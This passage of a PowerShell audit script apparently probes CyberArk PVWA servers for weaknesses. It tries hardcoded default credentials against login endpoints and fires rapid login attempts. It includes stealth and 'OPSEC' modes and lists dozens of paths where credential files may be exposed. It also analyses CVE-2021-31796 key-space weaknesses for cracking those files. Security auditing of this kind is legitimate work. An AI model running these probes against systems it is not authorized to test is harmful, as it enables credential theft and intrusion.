-VulnerabilityPatterns @('"secret":') #> function Test-EndpointsParallel { param( [Parameter(Mandatory = $true)] [string]$BaseUri, [Parameter(Mandatory = $true)] [string[]]$Endpoints, [string[]]$VulnerabilityPatterns = @(), [string[]]$FalsePositivePatterns = @(), [string]$Method = "GET", [hashtable]$Headers = @{}, [switch]$RequireJSON, [int]$ThrottleLimit = 5 ) # Build endpoint objects $endpointObjects = $Endpoints | ForEach-Object { @{ Uri = "$BaseUri$_" Path = $_ Method = $Method Headers = $Headers } } # Define the test script $testScript = { param($endpoint) try { $params = @{ Uri = $endpoint.Uri Method = $endpoint.Method Headers = $endpoint.Headers UseBasicParsing = $true TimeoutSec = 10 ErrorAction = "Stop" } $response = Invoke-WebRequest @params return @{ StatusCode = $response.StatusCode Content = $response.Content Success = $true } } catch { return @{ StatusCode = 0 Content = $null Success = $false Error = $_.Exception.Message } } } # Run parallel tests $rawResults = Invoke-ParallelEndpointTest -Endpoints $endpointObjects -ScriptBlock $testScript -ThrottleLimit $ThrottleLimit # Process results and check for vulnerabilities $vulnerableEndpoints = @() foreach ($rawResult in $rawResults) { if (-not $rawResult.Success -or -not $rawResult.Result.Success) { continue } $content = $rawResult.Result.Content $endpoint = $rawResult.Endpoint # Skip baseline responses if (Test-IsBaselineResponse -ResponseContent $content) { continue } # Skip HTML if RequireJSON if ($RequireJSON -and $content -match " function Initialize-BaselineResponse { param ( [string]$BaseUrl ) Write-AuditLog "Establishing baseline response for false positive detection..." -Level Info # Generate a random URL that definitely doesn't exist $randomPath = "/" + [guid]::NewGuid().ToString("N") + "_nonexistent_test_" + (Get-Random -Maximum 99999) $testUrl = "$BaseUrl$randomPath" try { $response = Invoke-WebRequest -Uri $testUrl -Method GET -UseBasicParsing -TimeoutSec 15 -ErrorAction Stop $script:BaselineResponse.ContentLength = $response.Content.Length $script:BaselineResponse.ContentType = $response.Headers['Content-Type'] $script:BaselineResponse.SampleContent = $response.Content.Substring(0, [Math]::Min(500, $response.Content.Length)) # Create a hash of the first 2000 chars for comparison $hashContent = $response.Content.Substring(0, [Math]::Min(2000, $response.Content.Length)) $script:BaselineResponse.ContentHash = [System.BitConverter]::ToString( [System.Security.Cryptography.SHA256]::Create().ComputeHash( [System.Text.Encoding]::UTF8.GetBytes($hashContent) ) ).Replace("-", "") $script:BaselineResponse.IsEstablished = $true Write-AuditLog "Baseline established: $($script:BaselineResponse.ContentLength) bytes, Type: $($script:BaselineResponse.ContentType)" -Level Info Write-AuditLog "This baseline will be used to filter false positives (catch-all/SPA responses)" -Level Info return $true } catch { Write-AuditLog "Could not establish baseline (server returned error for non-existent URL - good!)" -Level Info $script:BaselineResponse.IsEstablished = $false return $false } } <# .SYNOPSIS Checks if a response matches the baseline (indicating it's a catch-all/default page) .DESCRIPTION Returns $true if the response appears to be the same default page returned for non-existent URLs #> function Test-IsBaselineResponse { param ( [string]$ResponseContent, [string]$ContentType = "", [int]$Tolerance = 100 # Allow some variance in content length ) if (-not $script:BaselineResponse.IsEstablished) { return $false } # Check content length match (within tolerance) $lengthMatch = [Math]::Abs($ResponseContent.Length - $script:BaselineResponse.ContentLength) -le $Tolerance if ($lengthMatch) { # Double-check with hash comparison of first 2000 chars $hashContent = $ResponseContent.Substring(0, [Math]::Min(2000, $ResponseContent.Length)) $responseHash = [System.BitConverter]::ToString( [System.Security.Cryptography.SHA256]::Create().ComputeHash( [System.Text.Encoding]::UTF8.GetBytes($hashContent) ) ).Replace("-", "") if ($responseHash -eq $script:BaselineResponse.ContentHash) { return $true } } return $false } <# .SYNOPSIS Validates if an API response is legitimate (not a catch-all/false positive) .DESCRIPTION Comprehensive helper to validate API responses for CVE checks. Returns $true if the response appears to be a legitimate API response. Returns $false if it's a catch-all page, HTML login page, or other false positive. .PARAMETER ResponseContent The response body content to validate .PARAMETER RequireJSON If $true, requires the response to be valid JSON .PARAMETER RequirePatterns Array of regex patterns - at least one must match for response to be valid .PARAMETER RejectPatterns Array of regex patterns - if any match, response is rejected as false positive .RETURNS Boolean - $true if response is valid, $false if it's a false positive #> function Test-IsValidAPIResponse { param ( [string]$ResponseContent, [bool]$RequireJSON = $false, [string[]]$RequirePatterns = @(), [string[]]$RejectPatterns = @() ) # Check 1: Skip if baseline/catch-all response if (Test-IsBaselineResponse -ResponseContent $ResponseContent) { return $false } # Check 2: Skip generic HTML responses (SPA login pages) if ($ResponseContent -match " function Test-IsValidFileResponse { param ( [string]$ResponseContent, [string]$ContentType, [string]$ExpectedExtension # e.g., ".config", ".xml", ".json", ".ini" ) # First check if it matches baseline (catch-all page) if (Test-IsBaselineResponse -ResponseContent $ResponseContent) { return $false } # Check Content-Type matches expected file type $expectedContentTypes = @{ ".config" = @("text/xml", "application/xml", "application/octet-stream") ".xml" = @("text/xml", "application/xml") ".json" = @("application/json", "text/json") ".ini" = @("text/plain", "application/octet-stream") ".txt" = @("text/plain") ".log" = @("text/plain", "application/octet-stream") ".bak" = @("text/xml", "application/xml", "application/octet-stream", "text/plain") ".old" = @("text/xml", "application/xml", "application/octet-stream", "text/plain") } # If we get text/html for a config/xml file, it's likely a false positive if ($ContentType -match "text/html" -and $ExpectedExtension -match "\.(config|xml|json|ini|bak|old)$") { # HTML response for non-HTML file is suspicious # Check if content looks like HTML (login page) vs actual file content if ($ResponseContent -match "|||") { return $false } } # Check for actual file content patterns switch -Regex ($ExpectedExtension) { "\.(config|xml)$" { # Should contain XML structure if ($ResponseContent -notmatch "^\s*<\?xml|^\s*.*(?:Error|Not Found|Denied|Unauthorized|Forbidden).*') { Write-AuditLog "Skipping $($endpoint.Path) - detected error page via title" -Level Debug continue } Add-Finding -Category "Exposed Endpoints" ` -CISControl "BB1" ` -Finding "Sensitive endpoint accessible without authentication" ` -Resource "$PVWA$($endpoint.Path)" ` -CurrentValue "HTTP 200 - Accessible (Content Length: $($body.Length) bytes)" ` -ExpectedValue "HTTP 401/403 or not found" ` -Recommendation "Restrict access to $($endpoint.Desc)" ` -Severity $endpoint.Severity } } catch { # Expected - endpoint should not be accessible } } } function Test-InformationDisclosure { Write-AuditLog "Checking for information disclosure (Blackbox)..." -Level Info # Check various endpoints for version/info disclosure $infoEndpoints = @( "/PasswordVault/", "/PasswordVault/v10/logon", "/PasswordVault/api/auth", "/PasswordVault/WebServices/" ) foreach ($endpoint in $infoEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction Stop # Check response body for version info $body = $response.Content # Look for version patterns if ($body -match "version[`"'\s:]+(\d+\.\d+[\.\d]*)" -or $body -match "CyberArk[`"'\s:]+(\d+\.\d+)" -or $body -match "PVWA[`"'\s:]+(\d+\.\d+)") { Add-Finding -Category "Information Disclosure" ` -CISControl "BB2" ` -Finding "Version information disclosed in response" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Version pattern found in response body" ` -ExpectedValue "No version disclosure" ` -Recommendation "Remove version information from responses" ` -Severity "Medium" } # Check for stack traces or debug info if ($body -match "Exception|StackTrace|System\.|Microsoft\.|at \w+\.\w+\(" ) { Add-Finding -Category "Information Disclosure" ` -CISControl "BB2" ` -Finding "Debug/error information exposed" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Stack trace or debug info found" ` -ExpectedValue "Generic error messages only" ` -Recommendation "Disable detailed error messages in production" ` -Severity "High" } } catch { # Check error response for info disclosure (PS7 compatible) $errorBody = $_.ErrorDetails.Message if (-not $errorBody -and $_.Exception.Response) { try { if ($_.Exception.Response.Content) { $errorBody = $_.Exception.Response.Content.ReadAsStringAsync().Result } } catch { } } if ($errorBody -match "Exception|StackTrace|System\.|Microsoft\." ) { Add-Finding -Category "Information Disclosure" ` -CISControl "BB2" ` -Finding "Error response contains debug information" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Stack trace in error response" ` -ExpectedValue "Generic error messages" ` -Recommendation "Configure custom error pages" ` -Severity "Medium" } } } # Check for ASP.NET/IIS version disclosure try { $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $headers = $response.Headers if ($headers["X-AspNet-Version"]) { Add-Finding -Category "Information Disclosure" ` -CISControl "BB2" ` -Finding "ASP.NET version disclosed" ` -Resource "HTTP Headers" ` -CurrentValue "X-AspNet-Version: $($headers["X-AspNet-Version"])" ` -ExpectedValue "Header removed" ` -Recommendation "Remove X-AspNet-Version header in web.config" ` -Severity "Low" } if ($headers["X-Powered-By"]) { Add-Finding -Category "Information Disclosure" ` -CISControl "BB2" ` -Finding "X-Powered-By header present" ` -Resource "HTTP Headers" ` -CurrentValue "X-Powered-By: $($headers["X-Powered-By"])" ` -ExpectedValue "Header removed" ` -Recommendation "Remove X-Powered-By header" ` -Severity "Low" } } catch { Write-VerboseError -Context "Header disclosure check" -ErrorRecord $_ } } function Test-DefaultCredentials { Write-AuditLog "Checking for default/weak credential acceptance (Blackbox)..." -Level Info # SECURITY NOTE: This function only tests a limited set of 8 known default passwords # to avoid account lockouts. Password spraying or brute force attacks require # explicit user confirmation via the -EnablePasswordSpraying flag. # Common default credentials to test $defaultCreds = @( @{ User = "Administrator"; Pass = "Cyberark1" }, @{ User = "Administrator"; Pass = "CyberArk1!" }, @{ User = "Administrator"; Pass = "Password1" }, @{ User = "Administrator"; Pass = "Admin123" }, @{ User = "admin"; Pass = "admin" }, @{ User = "Auditor"; Pass = "Cyberark1" }, @{ User = "PVWAGWUser"; Pass = "Cyberark1" }, @{ User = "PasswordManager"; Pass = "Cyberark1" } ) # Try multiple authentication endpoints $authEndpoints = @( "/PasswordVault/api/Auth/CyberArk/Logon", "/PasswordVault/api/auth/cyberark/logon", "/PasswordVault/v10/logon" ) foreach ($cred in $defaultCreds) { foreach ($authEndpoint in $authEndpoints) { try { $body = @{ username = $cred.User password = $cred.Pass } | ConvertTo-Json # Use Invoke-WebRequest to get full response details $response = Invoke-WebRequest -Uri "$PVWA$authEndpoint" ` -Method POST -Body $body -ContentType "application/json" -UseBasicParsing -TimeoutSec 10 -ErrorAction Stop $responseContent = $response.Content $contentType = $response.Headers['Content-Type'] # Check if response is HTML (login page catch-all) - this is a FALSE POSITIVE if ($responseContent -match ".*listing.*") { Add-Finding -Category "Directory Listing" ` -CISControl "BB8" ` -Finding "Directory listing enabled" ` -Resource $dir ` -CurrentValue "Directory contents visible" ` -ExpectedValue "Directory listing disabled" ` -Recommendation "Disable directory browsing in IIS" ` -Severity "Medium" } } catch { } } } function Test-CertificateIssues { Write-AuditLog "Checking SSL/TLS certificate issues (Blackbox)..." -Level Info try { $uri = [System.Uri]$PVWA # Custom callback to capture certificate $certCallback = { param($certSender, $cert, $chain, $errors) $script:ServerCert = $cert $script:CertErrors = $errors $script:CertChain = $chain return $true # Accept for testing } [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $certCallback # Make request to get certificate $request = [System.Net.HttpWebRequest]::Create($PVWA) $request.Method = "HEAD" $request.Timeout = 10000 try { $response = $request.GetResponse() $response.Close() } catch { } # Restore callback to accept all certificates (for subsequent checks) # Note: We restore to { $true } instead of $null to maintain certificate bypass for audit [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } if ($script:ServerCert) { $cert = $script:ServerCert $now = Get-Date # Check expiration $expiryDate = [DateTime]::Parse($cert.GetExpirationDateString()) $daysToExpiry = ($expiryDate - $now).Days if ($daysToExpiry -lt 0) { Add-Finding -Category "Certificate" ` -CISControl "BB9" ` -Finding "SSL certificate has expired" ` -Resource "PVWA Certificate" ` -CurrentValue "Expired $([Math]::Abs($daysToExpiry)) days ago" ` -ExpectedValue "Valid certificate" ` -Recommendation "Renew SSL certificate immediately" ` -Severity "Critical" } elseif ($daysToExpiry -lt 30) { Add-Finding -Category "Certificate" ` -CISControl "BB9" ` -Finding "SSL certificate expiring soon" ` -Resource "PVWA Certificate" ` -CurrentValue "Expires in $daysToExpiry days" ` -ExpectedValue "More than 30 days validity" ` -Recommendation "Plan certificate renewal" ` -Severity "Medium" } # Check for self-signed if ($cert.Subject -eq $cert.Issuer) { Add-Finding -Category "Certificate" ` -CISControl "BB9" ` -Finding "Self-signed certificate in use" ` -Resource "PVWA Certificate" ` -CurrentValue "Subject equals Issuer" ` -ExpectedValue "CA-signed certificate" ` -Recommendation "Replace with certificate from trusted CA" ` -Severity "Medium" } # Check hostname mismatch $certCN = if ($cert.Subject -match "CN=([^,]+)") { $matches[1] } else { "" } if ($certCN -and $certCN -ne $uri.Host -and $certCN -notmatch "\*") { Add-Finding -Category "Certificate" ` -CISControl "BB9" ` -Finding "Certificate hostname mismatch" ` -Resource "PVWA Certificate" ` -CurrentValue "CN=$certCN, Host=$($uri.Host)" ` -ExpectedValue "Matching hostname" ` -Recommendation "Obtain certificate for correct hostname" ` -Severity "High" } # Check key size $keySize = $cert.PublicKey.Key.KeySize if ($keySize -lt 2048) { Add-Finding -Category "Certificate" ` -CISControl "BB9" ` -Finding "Weak certificate key size" ` -Resource "PVWA Certificate" ` -CurrentValue "$keySize bits" ` -ExpectedValue "2048 bits or higher" ` -Recommendation "Replace with certificate using 2048+ bit key" ` -Severity "High" } # Check signature algorithm $sigAlgo = $cert.SignatureAlgorithm.FriendlyName if ($sigAlgo -match "SHA1|MD5") { Add-Finding -Category "Certificate" ` -CISControl "BB9" ` -Finding "Weak certificate signature algorithm" ` -Resource "PVWA Certificate" ` -CurrentValue $sigAlgo ` -ExpectedValue "SHA256 or stronger" ` -Recommendation "Replace certificate using SHA256 or stronger" ` -Severity "High" } } } catch { Add-SkippedCheck -Category "Certificate" -CISControl "BB9" ` -CheckName "SSL/TLS Certificate Check" ` -Reason "Could not check certificate: $($_.Exception.Message)" ` -Type "Error" } } function Test-RateLimiting { Write-AuditLog "Checking for rate limiting (Blackbox)..." -Level Info # Skip in OPSEC mode - this test is noisy and could trigger alerts/lockouts if ($script:OPSECEnabled -or $script:SkipRateLimitTests) { Add-SkippedCheck -Category "Rate Limiting" -CISControl "BB10" ` -CheckName "Rate Limiting Check" ` -Reason "Skipped in OPSEC mode - test may trigger account lockouts or security alerts" ` -Type "Skipped" return } # Try multiple login endpoints (PVWA vs CyberArk Identity/Cloud) $loginEndpoints = @( "$PVWA/PasswordVault/api/Auth/CyberArk/Logon", "$PVWA/PasswordVault/API/Auth/Cyberark/Logon", "$PVWA/PasswordVault/v10/logon", "$PVWA/Security/StartAuthentication", "$PVWA/api/idadmin/Security/StartAuthentication" ) $validEndpoint = $null $endpointStatusCode = 0 # First, find a valid login endpoint (one that doesn't redirect or return 404) foreach ($endpoint in $loginEndpoints) { try { # Use MaximumRedirection 0 to detect if endpoint redirects (doesn't exist on Privilege Cloud) $testResponse = Invoke-WebRequest -Uri $endpoint -Method POST -Body '{}' -ContentType "application/json" -UseBasicParsing -TimeoutSec 5 -MaximumRedirection 0 -ErrorAction Stop $endpointStatusCode = $testResponse.StatusCode $validEndpoint = $endpoint break } catch { $statusCode = $_.Exception.Response.StatusCode.value__ # 302/301 redirect means endpoint doesn't exist on this platform - skip if ($statusCode -eq 302 -or $statusCode -eq 301) { Write-AuditLog "Rate limiting endpoint $endpoint redirects - not available on this platform" -Level Debug continue } # 400, 401, 403 indicate the endpoint exists but requires proper auth if ($statusCode -eq 400 -or $statusCode -eq 401 -or $statusCode -eq 403) { $validEndpoint = $endpoint $endpointStatusCode = $statusCode break } # 404 means endpoint doesn't exist, try next one } } if (-not $validEndpoint) { Add-SkippedCheck -Category "Rate Limiting" -CISControl "BB10" ` -CheckName "Rate Limiting Check" ` -Reason "No valid login endpoint found (all endpoints redirect or returned 404 - may be CyberArk Identity/Cloud with different auth flow)" ` -Type "NotApplicable" return } $successCount = 0 # Reduced from 20 to 10 attempts to minimize lockout risk $testCount = 10 Write-AuditLog "WARNING: Rate limit test will make $testCount rapid login attempts. This may trigger security alerts." -Level Warning # Make rapid requests for ($i = 0; $i -lt $testCount; $i++) { try { $body = @{ username = "ratelimit_test_$i" password = "TestPassword123!" } | ConvertTo-Json [void](Invoke-OPSECWebRequest -Uri $validEndpoint -Method POST -Body $body -ContentType "application/json" -TimeoutSec 5) $successCount++ } catch { $statusCode = $_.Exception.Response.StatusCode.value__ if ($statusCode -eq 429) { # Rate limiting is working Add-Finding -Category "Rate Limiting" ` -CISControl "BB10" ` -Finding "Rate limiting is configured" ` -Resource "Login Endpoint" ` -CurrentValue "HTTP 429 after $i attempts" ` -ExpectedValue "Rate limiting active" ` -Recommendation "N/A - Rate limiting is working" ` -Severity "Info" ` -Status "Pass" return } # 401/403 still counts as a processed request (endpoint is responding) if ($statusCode -eq 401 -or $statusCode -eq 403 -or $statusCode -eq 400) { $successCount++ } } } # If we got here without 429, rate limiting may not be configured if ($successCount -eq $testCount) { $sampleBody = @{ username = "ratelimit_test" password = "TestPassword123!" } | ConvertTo-Json Add-Finding -Category "Rate Limiting" ` -CISControl "BB10" ` -Finding "No rate limiting detected on login endpoint" ` -Resource "Login Endpoint" ` -CurrentValue "$testCount requests without rate limit" ` -ExpectedValue "Rate limiting after 5-10 attempts" ` -Recommendation "Implement rate limiting to prevent brute force attacks" ` -Severity "High" ` -RequestMethod "POST" ` -RequestURL $validEndpoint ` -RequestHeaders @{ "Host" = ([System.Uri]$validEndpoint).Host; "Content-Type" = "application/json"; "User-Agent" = "CyberArk-Security-Audit/1.0" } ` -RequestBody $sampleBody ` -ResponseStatus $endpointStatusCode ` -ResponseHeaders @{} ` -ResponseBody "Sent $testCount rapid login attempts without receiving HTTP 429 (Too Many Requests)" } } function Test-KnownVulnerabilities { Write-AuditLog "Checking for known vulnerability indicators (Blackbox)..." -Level Info # Check for CVE-2021-31796 related endpoints (PVWA SSRF) $ssrfEndpoints = @( "/PasswordVault/api/accounts/bulk_upload", "/PasswordVault/api/bulkaction" ) foreach ($endpoint in $ssrfEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method POST -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $body = $response.Content # Skip if this is a catch-all login page (false positive) if (Test-IsBaselineResponse -ResponseContent $body) { Write-AuditLog "Skipping SSRF endpoint $endpoint - response matches baseline catch-all page" -Level Debug continue } # Skip HTML responses (login page, not actual API) if ($body -match " - VerificationsFlag= - Password= (AES-256-CBC encrypted) - AdditionalInformation=<160-bit_salt_hex> - ClientApp, AppPath, ClientIP, ClientHostname, OSUser (optional restrictions) VerificationsFlag Bitmask (determines key derivation inputs): - 0x0001 (Bit 0): ClientApp - 15 known values (CPM, PVWA, AppPrv, etc.) - 0x0002 (Bit 1): AppPath - Executable path - 0x0004 (Bit 2): ClientIP - IP address - 0x0008 (Bit 3): OSUser - OS username - 0x0010 (Bit 4): AdditionalInfo - Salt (visible in file = 0 entropy!) - 0x0020 (Bit 5): ClientHostname - Hostname CRITICAL: If VerificationsFlag = 16 (0x0010), the encryption key is DETERMINISTIC from file contents alone - instant decryption with known algorithm! Affected: Versions prior to 12.1 Reference: https://korelogic.com/Resources/Advisories/KL-001-2021-008.txt #> Write-AuditLog "Checking for CVE-2021-31796 (Exposed Credential Files - Remote Exploitation)..." -Level Info # Known CyberArk application types - only 15 valid values = ~4 bits entropy $script:KnownAppTypes = @( "CPM", "PVWA", "PVWAApp", "AppPrv", "PSMApp", "CABACKUP", "DR", "ENE", "WINCLIENT", "GUI", "PACLI", "XAPI", "NAPI", "EVD", "CACrypt" ) function Get-CredFileKeySpaceAnalysis { param( [int]$VerificationsFlag, [hashtable]$ParsedFile ) $analysis = @{ FlagsUsed = @() FlagsMissing = @() EffectiveKeySpaceBits = 0 BruteForceComplexity = "" Exploitability = "" Severity = "Info" Description = "" } # Analyze each flag and calculate remaining entropy for an attacker # Key insight: If the value is VISIBLE in the file, it adds 0 entropy! if ($VerificationsFlag -band 0x0001) { $analysis.FlagsUsed += "ClientApp" if ($ParsedFile.ClientApp) { # Value visible in file - 0 additional entropy $analysis.FlagsUsed[-1] = "ClientApp='$($ParsedFile.ClientApp)' [VISIBLE]" } else { # Hidden but only 15 possible values $analysis.EffectiveKeySpaceBits += 4 $analysis.FlagsUsed[-1] = "ClientApp [HIDDEN - 15 values to try]" } } else { $analysis.FlagsMissing += "ClientApp" } if ($VerificationsFlag -band 0x0002) { $analysis.FlagsUsed += "AppPath" if ($ParsedFile.AppPath) { $analysis.FlagsUsed[-1] = "AppPath='$($ParsedFile.AppPath)' [VISIBLE]" } else { $analysis.EffectiveKeySpaceBits += 8 # ~256 CyberArk paths $analysis.FlagsUsed[-1] = "AppPath [HIDDEN - ~256 paths to try]" } } else { $analysis.FlagsMissing += "AppPath" } if ($VerificationsFlag -band 0x0004) { $analysis.FlagsUsed += "ClientIP" if ($ParsedFile.ClientIP) { $analysis.FlagsUsed[-1] = "ClientIP='$($ParsedFile.ClientIP)' [VISIBLE]" } else { $analysis.EffectiveKeySpaceBits += 8 # ~256 IPs in typical network $analysis.FlagsUsed[-1] = "ClientIP [HIDDEN - ~256 IPs to try]" } } else { $analysis.FlagsMissing += "ClientIP" } if ($VerificationsFlag -band 0x0008) { $analysis.FlagsUsed += "OSUser" if ($ParsedFile.OSUser) { $analysis.FlagsUsed[-1] = "OSUser='$($ParsedFile.OSUser)' [VISIBLE]" } else { $analysis.EffectiveKeySpaceBits += 8 # ~256 typical users $analysis.FlagsUsed[-1] = "OSUser [HIDDEN - ~256 users to try]" } } else { $analysis.FlagsMissing += "OSUser" } if ($VerificationsFlag -band 0x0010) { # AdditionalInfo (salt) is ALWAYS visible in the file! $analysis.FlagsUsed += "AdditionalInfo='$($ParsedFile.AdditionalInformation)' [VISIBLE - 0 entropy!]" } else { $analysis.FlagsMissing += "AdditionalInfo" } if ($VerificationsFlag -band 0x0020) { $analysis.FlagsUsed += "ClientHostname" if ($ParsedFile.ClientHostname) { $analysis.FlagsUsed[-1] = "ClientHostname='$($ParsedFile.ClientHostname)' [VISIBLE]" } else { $analysis.EffectiveKeySpaceBits += 8 # ~256 hostnames $analysis.FlagsUsed[-1] = "ClientHostname [HIDDEN - ~256 hostnames to try]" } } else { $analysis.FlagsMissing += "ClientHostname" } # Determine exploitability based on effective key space if ($VerificationsFlag -eq 16 -or $analysis.EffectiveKeySpaceBits -eq 0) { $analysis.Severity = "Critical" $analysis.EffectiveKeySpaceBits = 0 $analysis.BruteForceComplexity = "NONE - Instant decryption" $analysis.Exploitability = "TRIVIAL" $analysis.Description = "IMMEDIATE EXPLOITATION POSSIBLE: All key derivation inputs are visible in the file. Decryption key can be computed directly with known algorithm (SHA1 + AES-256-CBC)." } elseif ($analysis.EffectiveKeySpaceBits -le 12) { $analysis.Severity = "Critical" $analysis.BruteForceComplexity = "~$([math]::Pow(2, $analysis.EffectiveKeySpaceBits)) attempts (< 1 second)" $analysis.Exploitability = "TRIVIAL" $analysis.Description = "Trivially exploitable. Only $($analysis.EffectiveKeySpaceBits) bits of hidden key material. Brute-force in under 1 second on any hardware." } elseif ($analysis.EffectiveKeySpaceBits -le 20) { $analysis.Severity = "Critical" $analysis.BruteForceComplexity = "~$([math]::Pow(2, $analysis.EffectiveKeySpaceBits)) attempts (seconds to minutes)" $analysis.Exploitability = "EASY" $analysis.Description = "Easily exploitable. $($analysis.EffectiveKeySpaceBits) bits effective key space. Brute-force completes in seconds to minutes." } elseif ($analysis.EffectiveKeySpaceBits -le 32) { $analysis.Severity = "High" $analysis.BruteForceComplexity = "~$([math]::Pow(2, $analysis.EffectiveKeySpaceBits)) attempts (hours on single GPU)" $analysis.Exploitability = "MODERATE" $analysis.Description = "Exploitable with moderate effort. $($analysis.EffectiveKeySpaceBits) bits key space. Crackable in hours with GPU." } elseif ($analysis.EffectiveKeySpaceBits -le 40) { $analysis.Severity = "Medium" $analysis.BruteForceComplexity = "~$([math]::Pow(2, $analysis.EffectiveKeySpaceBits)) attempts (days with GPU cluster)" $analysis.Exploitability = "DIFFICULT" $analysis.Description = "Exploitable with significant resources. $($analysis.EffectiveKeySpaceBits) bits key space. Requires dedicated hardware." } else { $analysis.Severity = "Low" $analysis.BruteForceComplexity = "~$([math]::Pow(2, $analysis.EffectiveKeySpaceBits)) attempts (computationally expensive)" $analysis.Exploitability = "IMPRACTICAL" $analysis.Description = "Difficult to exploit. $($analysis.EffectiveKeySpaceBits) bits effective key space provides reasonable protection." } return $analysis } function ConvertFrom-CredentialFile { param([string]$Content, [string]$Source) $credFile = @{ Source = $Source CredFileVersion = $null CredFileType = $null VerificationsFlag = $null Username = $null Password = $null ClientApp = $null AppPath = $null ClientIP = $null ClientHostname = $null OSUser = $null AdditionalInformation = $null ExternalAuthentication = $null } foreach ($line in $Content -split "`r?`n") { if ($line -match "^(\w+)=(.*)$") { $key = $matches[1] $value = $matches[2].Trim() switch ($key) { "CredFileType" { $credFile.CredFileType = $value } "CredFileVersion" { $credFile.CredFileVersion = $value } "VerificationsFlag" { try { $credFile.VerificationsFlag = [int]$value } catch { } } "Username" { $credFile.Username = $value } "Password" { $credFile.Password = $value } "ClientApp" { $credFile.ClientApp = $value } "AppPath" { $credFile.AppPath = $value } "ClientIP" { $credFile.ClientIP = $value } "ClientHostname" { $credFile.ClientHostname = $value } "OSUser" { $credFile.OSUser = $value } "AdditionalInformation" { $credFile.AdditionalInformation = $value } "ExternalAuthentication" { $credFile.ExternalAuthentication = $value } } } } return $credFile } function Format-ExploitAnalysis { param([hashtable]$Parsed, [hashtable]$Analysis) $report = @" === CVE-2021-31796 EXPLOITATION ANALYSIS === Source: $($Parsed.Source) CredFileVersion: $($Parsed.CredFileVersion) VerificationsFlag: $($Parsed.VerificationsFlag) (0x$("{0:X4}" -f $Parsed.VerificationsFlag)) [EXTRACTED VALUES] Username: $($Parsed.Username) Password (encrypted): $($Parsed.Password.Substring(0, [Math]::Min(32, $Parsed.Password.Length)))... AdditionalInfo (salt): $($Parsed.AdditionalInformation) [KEY DERIVATION INPUTS] $($Analysis.FlagsUsed -join "`n") [MISSING FLAGS (not used in key derivation)] $($Analysis.FlagsMissing -join ", ") [EXPLOITATION ASSESSMENT] Effective Key Space: 2^$($Analysis.EffectiveKeySpaceBits) ($($Analysis.BruteForceComplexity)) Exploitability: $($Analysis.Exploitability) $($Analysis.Description) "@ return $report } $exposedFilesFound = 0 # Comprehensive list of paths to check for exposed credential files $exposedCredPaths = @( # PVWA web directory - common misconfigurations @{ Path = "/PasswordVault/CredFile.cred"; Desc = "Default credential file" }, @{ Path = "/PasswordVault/user.cred"; Desc = "User credential file" }, @{ Path = "/PasswordVault/Vault.cred"; Desc = "Vault credential file" }, @{ Path = "/PasswordVault/vault.cred"; Desc = "Vault credential file (lowercase)" }, @{ Path = "/PasswordVault/AppUser.cred"; Desc = "App user credential file" }, @{ Path = "/PasswordVault/appuser.cred"; Desc = "App user credential file (lowercase)" }, @{ Path = "/PasswordVault/CPM.cred"; Desc = "CPM credential file" }, @{ Path = "/PasswordVault/cpm.cred"; Desc = "CPM credential file (lowercase)" }, @{ Path = "/PasswordVault/PVWA.cred"; Desc = "PVWA credential file" }, @{ Path = "/PasswordVault/pvwa.cred"; Desc = "PVWA credential file (lowercase)" }, @{ Path = "/PasswordVault/PSM.cred"; Desc = "PSM credential file" }, @{ Path = "/PasswordVault/psm.cred"; Desc = "PSM credential file (lowercase)" }, @{ Path = "/PasswordVault/PSMConnect.cred"; Desc = "PSM Connect credential file" }, @{ Path = "/PasswordVault/PSMAdminConnect.cred"; Desc = "PSM Admin Connect credential file" }, # AIM/CCP web service paths @{ Path = "/AIMWebService/CredFile.cred"; Desc = "AIM credential file" }, @{ Path = "/AIMWebService/AppPath.cred"; Desc = "AIM AppPath credential file" }, @{ Path = "/AIMWebService/user.cred"; Desc = "AIM user credential file" }, @{ Path = "/AIMWebService/api.cred"; Desc = "AIM API credential file" }, # Central Credential Provider paths @{ Path = "/CCP/CredFile.cred"; Desc = "CCP credential file" }, @{ Path = "/CCP/user.cred"; Desc = "CCP user credential file" }, # V10/V11 API paths @{ Path = "/v10/CredFile.cred"; Desc = "v10 API credential file" }, @{ Path = "/v11/CredFile.cred"; Desc = "v11 API credential file" }, # Backup/misconfigured paths @{ Path = "/CredFile.cred"; Desc = "Root credential file" }, @{ Path = "/cred/CredFile.cred"; Desc = "Cred directory" }, @{ Path = "/credentials/user.cred"; Desc = "Credentials directory" }, @{ Path = "/config/CredFile.cred"; Desc = "Config directory" }, @{ Path = "/PasswordVault/App_Data/CredFile.cred"; Desc = "App_Data credential file" }, @{ Path = "/PasswordVault/bin/CredFile.cred"; Desc = "Bin directory credential file" }, @{ Path = "/PasswordVault/scripts/CredFile.cred"; Desc = "Scripts directory" }, # Backup file extensions @{ Path = "/PasswordVault/CredFile.cred.bak"; Desc = "Backup credential file" }, @{ Path = "/PasswordVault/CredFile.cred.old"; Desc = "Old credential file" }, @{ Path = "/PasswordVault/CredFile.cred.backup"; Desc = "Backup credential file" }, @{ Path = "/PasswordVault/CredFile.cred.orig"; Desc = "Original credential file" }, @{ Path = "/PasswordVault/CredFile.cred~"; Desc = "Temp credential file" }, # Common component credential files @{ Path = "/PasswordVault/PasswordManagerUser.cred"; Desc = "Password Manager User" }, @{ Path = "/PasswordVault/VaultOperationsUser.cred"; Desc = "Vault Operations User" }, @{ Path = "/PasswordVault/Sync.cred"; Desc = "Sync credential file" }, @{ Path = "/PasswordVault/DR.cred"; Desc = "DR credential file" }, @{ Path = "/PasswordVault/Backup.cred"; Desc = "Backup credential file" }, @{ Path = "/PasswordVault/Master.cred"; Desc = "Master credential file" }, @{ Path = "/PasswordVault/Administrator.cred"; Desc = "Administrator credential file" } ) Write-AuditLog "Probing $($exposedCredPaths.Count) potential credential file locations..." -Level Info foreach ($credPath in $exposedCredPaths) { try { # Add delay if stealth mode is enabled if 